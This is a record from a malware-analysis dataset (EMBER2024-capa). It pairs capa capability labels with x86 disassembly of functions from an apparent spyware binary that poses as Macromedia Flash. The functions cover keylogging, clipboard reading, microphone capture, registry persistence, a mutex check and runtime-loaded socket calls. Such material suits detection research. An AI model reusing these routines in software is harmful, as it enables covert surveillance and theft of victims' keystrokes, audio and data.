joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1006f929
Capabilities:
Delete file
Get common file path
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x134
push ebx
push esi
push str.AutoUpdate
lea ecx, [ebp - 0x1c]
call fcn.1001692c
lea eax, [ebp - 4]
push eax
push str.SoftwareMacromediaFlashPlayer
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
mov esi, 0x100cf2e0
je 0x1006f965
xor bl, bl
jmp 0x1006fa14
mov eax, dword [ebp - 0x18]
xor ebx, ebx
inc eax
push eax
push dword [ebp - 0x1c]
push 1
push ebx
push str.AutoUpdateTest
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 4]
test eax, eax
je 0x1006f992
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x1006fa14
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
jne 0x1006fa14
lea eax, [ebp - 0x134]
push 0x118
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
test eax, eax
je 0x1006fa14
lea eax, [ebp - 0x134]
lea ecx, [ebp - 0x10]
push eax
call fcn.1001692c
push str.MacromedFlash_testUpdate.txt
lea eax, [ebp - 0x10]
push 0x100c659c
push eax
call fcn.100172a1
add esp, 0xc
push ebx
push ebx
push 2
push ebx
push ebx
push 0x40000000
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
je 0x1006fa0a
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x1006fa0a
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
je 0x1006fa0a
mov bl, 1
push dword [ebp - 0x10]
mov ecx, esi
call fcn.10018e64
push dword [ebp - 0x1c]
mov ecx, esi
call fcn.10018e64
mov al, bl
pop esi
pop ebx
leave
ret

Function at 0x1007010d
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
setne al
ret

Function at 0x10070152
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
mov esi, dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x1007016f
shr eax, 4
and al, 1
jmp 0x100701e3
push ebx
push edi
push esi
call fcn.100b1580
mov ebx, eax
xor edi, edi
cmp ebx, edi
pop ecx
mov dword [ebp - 0xc], edi
mov dword [ebp - 8], edi
mov dword [ebp - 4], edi
jle 0x100701af
cmp byte [edi + esi], 0x5c
jne 0x1007019e
test edi, edi
je 0x1007019e
push 0
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov al, byte [edi + esi]
lea ecx, [ebp - 0xc]
push eax
call fcn.10016ac3
inc edi
cmp edi, ebx
jl 0x10070189
test ebx, ebx
je 0x100701c3
cmp byte [ebx + esi - 1], 0x5c
je 0x100701c3
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push dword [ebp - 0xc]
mov ebx, eax
shr ebx, 4
mov ecx, 0x100cf2e0
and bl, 1
call fcn.10018e64
mov al, bl
pop edi
pop ebx
pop esi
leave
ret
Function at 0x10070359
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
push ebx
xor ebx, ebx
push ebx
lea eax, [ebp + 8]
push dword [ebp + 8]
push eax
call fcn.100701e6
add esp, 0xc
test al, al
je 0x1007038d
push ebx
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ecx, dword [ebp + 0xc]
push dword [ebp + 8]
mov bl, 1
mov dword [ecx], eax
call fcn.10070349
pop ecx
mov al, bl
pop ebx
pop ebp
ret

Function at 0x10070392
Capabilities:
Persist via run registry key
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40c
and dword [ebp - 4], 0
lea eax, [ebp - 4]
push esi
push eax
push 1
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionExplorerShell_Folders
push SysReAllocStringLen
mov dword [ebp - 8], 0x400
mov dword [ebp - 0xc], 2
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x10070408
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x40c]
push eax
lea eax, [ebp - 0xc]
push eax
push esi
push str.AppData
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov esi, eax
test esi, esi
jne 0x100703ff
mov ecx, dword [ebp + 8]
lea eax, [ebp - 0x40c]
push eax
call fcn.10016c60
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
test esi, esi
sete al
pop esi
leave
ret
Function at 0x10072014
Capabilities:
Log keystrokes
Log keystrokes via polling

Disassembly:
push ebx
push esi
push 2
mov esi, ecx
push dword [esp + 0x10]
call dword [sym.imp.USER32.dll_MapVirtualKeyA]
mov ebx, eax
test ebx, ebx
jl 0x10072077
cmp ebx, 0xff
jg 0x10072077
cmp ebx, 0x7f
jg 0x10072073
push 0x14
call dword [sym.imp.USER32.dll_GetKeyState]
test al, 1
je 0x10072061
cmp byte [esi + 9], 0
je 0x10072073
push ebx
call fcn.10017384
test al, al
pop ecx
jne 0x10072067
push ebx
mov ecx, esi
call fcn.10071f56
movzx ebx, al
jmp 0x10072073
cmp byte [esi + 9], 0
jne 0x10072054
movzx eax, bl
movzx ebx, byte [eax + 0x100b461c]
xor ebx, eax
mov al, bl
jmp 0x1007207b
mov al, byte [esp + 0xc]
pop esi
pop ebx
ret 4

Function at 0x10072168
Capabilities:
Check mutex on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
push str.MacromediaMutexGamma
lea ecx, [ebp - 0x18]
call fcn.1001692c
push dword [ebp + 8]
lea ecx, [ebp - 0xc]
call fcn.1001692c
lea ecx, [ebp - 0xc]
call fcn.10016c47
push dword [ebp - 0xc]
lea ecx, [ebp - 0x18]
call fcn.10016df4
push dword [ebp - 0x18]
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
push esi
sete bl
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0xc]
mov esi, 0x100cf2e0
mov ecx, esi
call fcn.10018e64
push dword [ebp - 0x18]
mov ecx, esi
call fcn.10018e64
mov al, bl
pop esi
pop ebx
leave
ret

Function at 0x1007220f
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
push esi
push edi
push 0x10
xor eax, eax
pop ecx
lea edi, [ebp - 0x5c]
push dword [ebp + 8]
rep stosd dword es:[edi], eax
lea eax, [ebp - 0xc]
mov dword [ebp - 0x60], 0x44
push eax
call fcn.100720e3
pop ecx
mov eax, dword [eax]
pop ecx
xor esi, esi
lea ecx, [ebp - 0x1c]
push ecx
lea ecx, [ebp - 0x60]
push ecx
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
push dword [ebp - 0xc]
mov ecx, 0x100cf2e0
mov edi, eax
call fcn.10018e64
cmp edi, esi
je 0x10072282
push 0xffffffffffffffff
push dword [ebp - 0x1c]
call dword [sym.imp.USER32.dll_WaitForInputIdle]
push dword [ebp - 0x1c]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x18]
call esi
mov al, 1
jmp 0x10072284
xor al, al
pop edi
pop esi
leave
ret
Function at 0x10072288
Capabilities:
Delete file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push esi
lea eax, [ebp - 0x18]
push dword [ebp + 8]
mov dword [ebp - 4], 3
push eax
call fcn.100720e3
mov eax, dword [ebp - 0x18]
push eax
mov dword [ebp - 0xc], eax
call fcn.1007238e
add esp, 0xc
xor esi, esi
push esi
push esi
push 2
push esi
push esi
push 0x40000000
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, esi
mov dword [ebp - 8], eax
je 0x10072372
mov esi, dword [ebp + 0xc]
push ebx
push edi
cmp byte [esi], 0x54
je 0x100722f7
cmp byte [esi + 1], 0x72
je 0x100722f7
cmp byte [esi + 2], 0x6f
je 0x100722f7
cmp byte [esi + 3], 0x79
je 0x100722f7
mov dword [ebp - 4], 6
jmp 0x10072361
mov edi, dword [ebp + 0x10]
mov eax, dword [esi + 4]
mov dword [ebp + 8], eax
lea ecx, [edi + edi*4]
shl ecx, 1
cmp eax, ecx
jae 0x10072361
push eax
call fcn.1006efdc
mov ebx, eax
pop ecx
test ebx, ebx
je 0x1007235a
add edi, 0xfffffff8
add esi, 8
push edi
lea eax, [ebp + 8]
push esi
push eax
push ebx
call fcn.1007b6ae
add esp, 0x10
test eax, eax
jne 0x10072351
push eax
lea eax, [ebp + 0xc]
push eax
push dword [ebp + 8]
push ebx
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x10072351
mov eax, dword [ebp + 0xc]
cmp eax, dword [ebp + 8]
jne 0x10072351
and dword [ebp - 4], 0
push ebx
call fcn.1006efe7
pop ecx
jmp 0x10072361
mov dword [ebp - 4], 4
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 4], 0
pop edi
pop ebx
je 0x1007237b
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push dword [ebp - 0x18]
mov ecx, 0x100cf2e0
call fcn.10018e64
mov eax, dword [ebp - 4]
pop esi
leave
ret

Function at 0x1007238e
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push esi
mov esi, dword [ebp + 8]
cmp byte [esi], 0
je 0x100723cd
push edi
lea edi, [ebp - 0x104]
sub edi, esi
cmp byte [esi], 0x5c
jne 0x100723c1
and byte [edi + esi], 0
lea eax, [ebp - 0x104]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov al, byte [esi]
mov byte [edi + esi], al
inc esi
cmp byte [esi], 0
jne 0x100723a9
pop edi
pop esi
leave
ret
Function at 0x10072cf3
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x190
mov eax, dword [0x100d085c]
push ebx
push esi
push edi
push 1
pop ebx
cmp eax, ebx
je 0x10072e47
push 2
pop esi
cmp eax, esi
je 0x10072e5b
push str.WSOCK32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
jne 0x10072d36
mov dword [0x100d085c], esi
jmp 0x10072e5b
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.WSACleanup
push edi
call esi
push str.WSAStartup
push edi
mov dword [0x100d0818], eax
call esi
push str.listen
push edi
mov dword [0x100d081c], eax
call esi
push str.closesocket
push edi
mov dword [0x100d0820], eax
call esi
push str.bind
push edi
mov dword [0x100d0824], eax
call esi
push str.htons
push edi
mov dword [0x100d0828], eax
call esi
push str.htonl
push edi
mov dword [0x100d082c], eax
call esi
push str.socket
push edi
mov dword [0x100d0830], eax
call esi
push str.WSAAsyncSelect
push edi
mov dword [0x100d0834], eax
call esi
push str.accept
push edi
mov dword [0x100d0838], eax
call esi
push str.WSAGetLastError
push edi
mov dword [0x100d083c], eax
call esi
push str.WSAAsyncGetHostByName
push edi
mov dword [0x100d0840], eax
call esi
push str.inet_addr
push edi
mov dword [0x100d0844], eax
call esi
push str.connect
push edi
mov dword [0x100d0848], eax
call esi
push str.send
push edi
mov dword [0x100d084c], eax
call esi
push str.recv
push edi
mov dword [0x100d0850], eax
call esi
push str.WSACancelAsyncRequest
push edi
mov dword [0x100d0854], eax
call esi
mov dword [0x100d0858], eax
lea eax, [ebp - 0x190]
push eax
push 0x101
call dword [0x100d081c]
test eax, eax
jne 0x10072e51
cmp byte [ebp - 0x190], bl
jne 0x10072e4b
mov al, byte [ebp - 0x18f]
cmp al, bl
jne 0x10072e4b
mov dword [0x100d085c], ebx
mov eax, ebx
jmp 0x10072e5d
call dword [0x100d0818]
mov dword [0x100d085c], 2
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10072ea2
Capabilities:
Resolve dns
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push esi
push edi
push 0x10
lea eax, [ebp - 0x10]
push 0
mov edi, ecx
push eax
call fcn.100b1940
add esp, 0xc
mov word [ebp - 0x10], 2
push dword [ebp + 0xc]
call sub.WSOCK32.dll_htons
mov esi, dword [ebp + 8]
mov word [ebp - 0xe], ax
cmp byte [esi], 0
je 0x10072f21
push 0x100c2ba8
push esi
call fcn.100b19a0
pop ecx
test eax, eax
pop ecx
je 0x10072f21
push esi
call sub.WSOCK32.dll_inet_addr
cmp eax, 0xffffffff
mov dword [ebp - 0xc], eax
jne 0x10072f2e
push esi
call sub.WSOCK32.dll_gethostbyname
mov esi, eax
test esi, esi
je 0x10072f40
movsx eax, word [esi + 0xa]
push eax
mov eax, dword [esi + 0xc]
push dword [eax]
lea eax, [ebp - 0xc]
push eax
call fcn.100b1600
mov ax, word [esi + 8]
add esp, 0xc
mov word [ebp - 0x10], ax
jmp 0x10072f2e
push 0x7f000001
call sub.WSOCK32.dll_htonl
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x10]
push 0x10
push eax
push dword [edi]
call dword [0x100d084c]
test eax, eax
je 0x10072f44
xor al, al
jmp 0x10072f64
cmp byte [ebp + 0x10], 0
jne 0x10072f62
lea eax, [ebp + 0x10]
push 4
push eax
push 1
push 6
mov dword [ebp + 0x10], 1
push dword [edi]
call sub.WSOCK32.dll_setsockopt
mov al, 1
pop edi
pop esi
leave
ret 0x10
Function at 0x10073c3f
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
push ebp
mov ebp, esp
push ebx
xor ebx, ebx
push esi
mov esi, ecx
push ebx
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x10073d6b
push edi
mov edi, 0x100cf2e0
push dword [esi]
mov ecx, edi
call fcn.10018e64
cmp dword [ebp + 8], 5
mov dword [esi], ebx
jle 0x10073d0d
push 0xd
call dword [sym.imp.USER32.dll_IsClipboardFormatAvailable]
test eax, eax
je 0x10073c9e
push 0xd
call dword [sym.imp.USER32.dll_GetClipboardData]
mov edi, eax
cmp edi, ebx
je 0x10073cc8
push edi
call dword [sym.imp.KERNEL32.dll_GlobalLock]
push ebx
push eax
call fcn.10057c16
pop ecx
pop ecx
jmp 0x10073cbf
push 1
call dword [sym.imp.USER32.dll_GetClipboardData]
mov edi, eax
cmp edi, ebx
je 0x10073cc8
push edi
call dword [sym.imp.KERNEL32.dll_GlobalLock]
push ebx
push 6
push eax
call fcn.10057d31
add esp, 0xc
push edi
mov dword [esi], eax
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
mov edi, dword [esi]
cmp edi, ebx
je 0x10073d64
cmp byte [edi], bl
je 0x10073d64
lea eax, [ebp + 0xa]
push eax
push edi
call fcn.100578d8
cmp word [ebp + 0xa], 0xd
pop ecx
pop ecx
jne 0x10073d09
cmp byte [edi], bl
mov eax, edi
je 0x10073d05
cmp byte [eax + 1], bl
lea ecx, [eax + 1]
je 0x10073d05
mov dl, byte [ecx]
mov byte [eax], dl
mov eax, ecx
cmp byte [eax], bl
jne 0x10073cf3
mov byte [eax], bl
jmp 0x10073cd2
add edi, eax
jmp 0x10073cd2
push 1
call dword [sym.imp.USER32.dll_GetClipboardData]
cmp eax, ebx
mov dword [ebp + 8], eax
je 0x10073d39
push eax
call fcn.100b1580
pop ecx
inc eax
push eax
mov ecx, edi
call fcn.10018dac
push dword [ebp + 8]
mov dword [esi], eax
push eax
call fcn.100b1ae0
pop ecx
pop ecx
mov edi, dword [esi]
cmp edi, ebx
je 0x10073d64
mov al, byte [edi]
cmp al, bl
je 0x10073d64
cmp al, 0xd
jne 0x10073d61
mov eax, edi
cmp byte [eax + 1], bl
lea ecx, [eax + 1]
je 0x10073d5d
mov dl, byte [ecx]
mov byte [eax], dl
mov eax, ecx
cmp byte [eax], bl
jne 0x10073d4b
mov byte [eax], bl
jmp 0x10073d3f
inc edi
jmp 0x10073d3f
call dword [sym.imp.USER32.dll_CloseClipboard]
pop edi
mov eax, dword [esi]
pop esi
pop ebx
pop ebp
ret 4

Function at 0x10073f1a
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
push edi
xor edi, edi
push edi
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x10073f49
push esi
mov esi, dword [sym.imp.USER32.dll_GetClipboardData]
push 1
call esi
test eax, eax
jne 0x10073f3f
push 0xd
call esi
test eax, eax
je 0x10073f42
push 1
pop edi
call dword [sym.imp.USER32.dll_CloseClipboard]
pop esi
mov eax, edi
pop edi
ret
Function at 0x1009368e
Capabilities:
Enumerate devices by category

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
mov esi, ecx
push edi
push esi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
push dword [ebp + 8]
call fcn.100170d7
xor ebx, ebx
pop ecx
cmp dword [esi + 0x2c], ebx
mov dword [ebp - 0x10], eax
jne 0x1009371d
mov eax, dword [esi + 0x18]
lea edi, [esi + 0x18]
cmp eax, ebx
je 0x100936c5
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov dword [edi], ebx
push ebx
call dword [sym.imp.ole32.dll_CoInitialize]
lea eax, [ebp + 8]
mov dword [ebp + 8], ebx
push eax
push 0x100b9654
push 1
push ebx
push 0x100b9088
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
jne 0x10093703
mov eax, dword [ebp + 8]
push ebx
push edi
push 0x100b9078
mov ecx, dword [eax]
push eax
call dword [ecx + 0xc]
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
push ebx
push str.999999
call fcn.100170d7
pop ecx
push eax
mov ecx, esi
call fcn.1009362e
mov dword [esi + 0x1c], eax
mov dword [esi + 0x20], ebx
mov eax, dword [esi + 0x20]
mov ecx, dword [esi + 0x1c]
cmp eax, ecx
jge 0x10093816
mov edx, dword [esi + 0x2c]
dec edx
cmp dword [ebp - 0x10], edx
jle 0x10093816
cmp eax, ecx
mov dword [ebp + 8], eax
jge 0x10093816
inc dword [esi + 0x20]
lea eax, [ebp - 8]
push eax
mov ecx, esi
push dword [ebp + 8]
mov dword [ebp - 4], ebx
mov dword [ebp - 8], ebx
call fcn.1009362e
cmp eax, dword [ebp + 8]
jne 0x10093773
mov eax, dword [ebp - 8]
lea edx, [ebp - 4]
push edx
push 0x100b95f4
mov ecx, dword [eax]
push ebx
push ebx
push eax
call dword [ecx + 0x20]
cmp dword [ebp - 4], ebx
je 0x100937f2
lea edi, [esi + 0x28]
mov eax, dword [edi]
cmp eax, ebx
je 0x10093785
mov edi, eax
jmp 0x1009377b
push 0xa
push dword [esi + 0x2c]
call fcn.10045759
push 0xa8
mov dword [ebp - 0xc], eax
call fcn.1006efdc
add esp, 0xc
cmp eax, ebx
je 0x100937af
push dword [ebp - 0xc]
mov ecx, eax
call fcn.1007dbdd
mov ebx, eax
push dword [ebp - 0xc]
mov ecx, 0x100cf2e0
call fcn.10018e64
push 0x3c
call fcn.1006efdc
test eax, eax
pop ecx
je 0x100937d8
push dword [ebp + 8]
mov ecx, eax
push ebx
push dword [esi + 0x24]
call fcn.10092d4b
jmp 0x100937da
xor eax, eax
push eax
mov ecx, ebx
mov dword [edi], eax
call fcn.1007dca5
mov eax, dword [ebp - 4]
inc dword [esi + 0x2c]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
xor ebx, ebx
mov eax, dword [ebp - 8]
cmp eax, ebx
je 0x100937ff
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 0x10]
cmp eax, dword [esi + 0x2c]
jl 0x10093816
inc dword [ebp + 8]
mov eax, dword [ebp + 8]
cmp eax, dword [esi + 0x1c]
jl 0x10093743
push esi
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x10093c63
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x74
push ebx
push esi
lea eax, [ebp - 8]
push edi
xor esi, esi
push eax
push 1
push esi
push str.SoftwareMicrosoftMultimediaSound_Mapper
push SysReAllocStringLen
mov dword [ebp - 0x10], esi
mov dword [ebp - 0xc], esi
mov dword [ebp - 8], esi
mov dword [ebp - 4], esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10093d54
cmp dword [ebp + 8], esi
mov ebx, str.Record
mov edi, str.Playback
mov eax, ebx
jne 0x10093cac
mov eax, edi
lea ecx, [ebp - 0xc]
push ecx
push esi
push esi
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push eax
push dword [ebp - 8]
call esi
test eax, eax
jne 0x10093d52
mov eax, dword [ebp - 0xc]
inc eax
push eax
call fcn.1006efdc
pop ecx
mov dword [ebp - 4], eax
xor ecx, ecx
mov eax, ebx
cmp dword [ebp + 8], ecx
jne 0x10093ce0
mov eax, edi
lea edx, [ebp - 0xc]
push edx
push dword [ebp - 4]
push ecx
push ecx
push eax
push dword [ebp - 8]
call esi
test eax, eax
jne 0x10093d52
xor esi, esi
cmp dword [ebp + 8], esi
je 0x10093d02
call dword [sym.imp.WINMM.dll_waveInGetNumDevs]
jmp 0x10093d08
call dword [sym.imp.WINMM.dll_waveOutGetNumDevs]
mov edi, eax
cmp edi, esi
jle 0x10093d52
cmp dword [ebp + 8], 0
je 0x10093d29
lea eax, [ebp - 0x40]
push 0x30
push eax
push esi
call dword [sym.imp.WINMM.dll_waveInGetDevCapsA]
push dword [ebp - 4]
lea eax, [ebp - 0x38]
jmp 0x10093d3c
lea eax, [ebp - 0x74]
push 0x34
push eax
push esi
call dword [sym.imp.WINMM.dll_waveOutGetDevCapsA]
push dword [ebp - 4]
lea eax, [ebp - 0x6c]
push eax
call fcn.100b19a0
pop ecx
test eax, eax
pop ecx
je 0x10093d4f
inc esi
cmp esi, edi
jl 0x10093d0e
jmp 0x10093d52
mov dword [ebp - 0x10], esi
xor esi, esi
cmp dword [ebp - 8], esi
je 0x10093d62
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [ebp - 4], esi
pop edi
pop esi
pop ebx
je 0x10093d73
push dword [ebp - 4]
call fcn.1006efe7
pop ecx
mov eax, dword [ebp - 0x10]
leave
ret
Function at 0x10093fc2
Capabilities:
Capture microphone audio

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, ecx
push edi
mov ecx, dword [esi + 4]
add ecx, 0x24
call fcn.100943f7
mov edi, eax
mov eax, dword [ebp + 0xc]
neg edi
sbb edi, edi
mov byte [eax], 0
inc edi
mov dword [ebp - 4], edi
je 0x10094093
cmp byte [esi + 0x2aa], 0
jne 0x1009409c
cmp dword [esi + 0x28c], 0
jle 0x1009409c
mov byte [eax], 1
mov edi, dword [esi + 0x24c]
lea ebx, [esi + 0x24c]
lea eax, [esi + 0x290]
push eax
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
push dword [esi + 0x48]
push dword [esi + edi*4 + 8]
push dword [ebp + 8]
call fcn.100b1600
add esp, 0xc
dec dword [esi + 0x28c]
mov eax, dword [esi + 0x28c]
xor ecx, ecx
test eax, eax
jle 0x10094057
mov eax, dword [ebx + 4]
inc ecx
mov dword [ebx], eax
add ebx, 4
cmp ecx, dword [esi + 0x28c]
jl 0x10094046
lea eax, [esi + 0x290]
push eax
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
shl edi, 5
push 0x20
lea eax, [edi + esi + 0x4c]
push eax
push dword [esi]
call dword [sym.imp.WINMM.dll_waveInAddBuffer]
cmp byte [esi + 0x2a8], 0
lea edi, [esi + 0x2a8]
je 0x10094090
push dword [esi]
call dword [sym.imp.WINMM.dll_waveInStart]
and byte [edi], 0
mov edi, dword [ebp - 4]
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret 8
cmp byte [esi + 0x2a9], 0
lea ebx, [esi + 0x2a9]
je 0x100940b8
push dword [esi]
call dword [sym.imp.WINMM.dll_waveInStart]
and byte [ebx], 0
jmp 0x10094093
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x10094093

Function at 0x10094138
Capabilities:
Capture microphone audio

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
mov esi, ecx
lea eax, [ebp - 0x18]
push edi
push eax
mov eax, dword [esi + 4]
add eax, 0x9c
push eax
call fcn.10093bef
mov ebx, dword [ebp + 8]
and dword [esi + 0x28c], 0
and byte [esi + 0x2a8], 0
pop ecx
lea eax, [esi + 8]
pop ecx
mov dword [esi + 0x48], ebx
mov edi, eax
mov dword [ebp - 4], 0x10
push ebx
call fcn.1006efdc
mov dword [edi], eax
add edi, 4
dec dword [ebp - 4]
pop ecx
jne 0x10094177
push 0x30000
push esi
lea eax, [ebp - 0x18]
push 0x100940c2
push eax
mov eax, dword [esi + 4]
push dword [eax + 0x50]
push esi
call dword [sym.imp.WINMM.dll_waveInOpen]
test eax, eax
jne 0x10094201
lea eax, [esi + 8]
xor ebx, ebx
lea edi, [esi + 0x4c]
mov dword [ebp - 4], eax
push 0x20
push 0
push edi
call fcn.100b1940
mov eax, dword [ebp - 4]
add esp, 0xc
mov eax, dword [eax]
push 0x20
mov dword [edi], eax
mov eax, dword [ebp + 8]
mov dword [edi + 4], eax
push edi
mov dword [edi + 0xc], ebx
push dword [esi]
call dword [sym.imp.WINMM.dll_waveInPrepareHeader]
push 0x20
push edi
push dword [esi]
call dword [sym.imp.WINMM.dll_waveInAddBuffer]
add dword [ebp - 4], 4
inc ebx
add edi, 0x20
cmp ebx, 0x10
jl 0x100941b3
and byte [esi + 0x2aa], 0
mov byte [esi + 0x2a9], 1
xor ecx, ecx
pop edi
test eax, eax
sete cl
pop esi
mov eax, ecx
pop ebx
leave
ret 4